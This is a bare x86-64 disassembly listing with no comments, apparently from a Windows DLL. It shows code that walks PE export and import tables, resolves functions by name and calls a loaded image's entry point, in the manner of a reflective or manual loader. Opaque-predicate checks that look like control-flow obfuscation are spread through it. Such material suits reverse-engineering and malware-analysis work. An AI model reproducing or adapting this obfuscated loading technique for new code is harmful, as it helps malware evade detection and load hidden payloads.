add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov edi, dword [rbx]
add rdi, r9
mov rsi, r12
movzx eax, byte [rsi]
movzx edx, byte [rdi]
test al, al
je 0x18000241d
add rsi, 1
add rdi, 1
cmp al, dl
je 0x180002407
cmp al, dl
je 0x18000242b
add rbx, 4
add rcx, 2
jmp 0x1800023ff
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r15, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002510
test edx, edx
je 0x180002510
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002710
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000249e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000267a
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800024cd
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000267c
add r8, r9
mov ebx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rbx, r9
add rcx, r9
mov edi, dword [rbx]
add rdi, r9
mov rsi, r12
movzx eax, byte [rsi]
movzx edx, byte [rdi]
test al, al
je 0x1800024fe
add rsi, 1
add rdi, 1
cmp al, dl
je 0x1800024e8
cmp al, dl
je 0x18000237b
add rbx, 4
add rcx, 2
jmp 0x1800024e0
cmp ecx, 0xa
jl 0x18000251d
test edx, edx
jne 0x18000267e
mov rdx, qword [rbp - 0x18]
mov ebx, dword [rdx]
mov edx, dword [rdx + 0x10]
add rbx, r13
mov qword [rbp - 0x10], rbx
add rdx, r13
mov qword [rbp - 0x20], rdx
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
test rdx, rdx
je 0x180002654
mov rax, qword [rbp - 0x28]
add rax, rdx
test rdx, rdx
movzx r14d, dx
cmovns r14, rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002710
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002588
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002680
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800025b7
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002682
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov esi, dword [r9 + rcx + 0x24]
add rdx, r9
add rsi, r9
mov edi, dword [rdx]
add rdi, r9
mov rax, qword [rbp - 0x30]
movzx ebx, byte [rax]
movzx ecx, byte [rdi]
test bl, bl
je 0x1800025e9
add rax, 1
add rdi, 1
cmp bl, cl
je 0x1800025d3
cmp bl, cl
je 0x1800025f7
add rdx, 4
add rsi, 2
jmp 0x1800025ca
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, r14
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x20]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002637
test edx, edx
jne 0x180002684
add qword [rbp - 0x20], 8
add qword [rbp - 0x10], 8
cmp ecx, 0xa
jl 0x180002534
test edx, edx
je 0x180002534
jmp 0x18000267e
add qword [rbp - 0x18], 0x14
cmp ecx, 0xa
jl 0x180002361
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002361
jmp 0x180002346
jmp 0x180002676
jmp 0x180002678
jmp 0x18000267a
jmp 0x18000267c
jmp 0x18000267e
jmp 0x180002680
jmp 0x180002682
jmp 0x180002684
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800026f2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800026f2
mov rsi, qword [rbp - 8]
mov eax, dword [rsi + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800026f2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800026b8
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret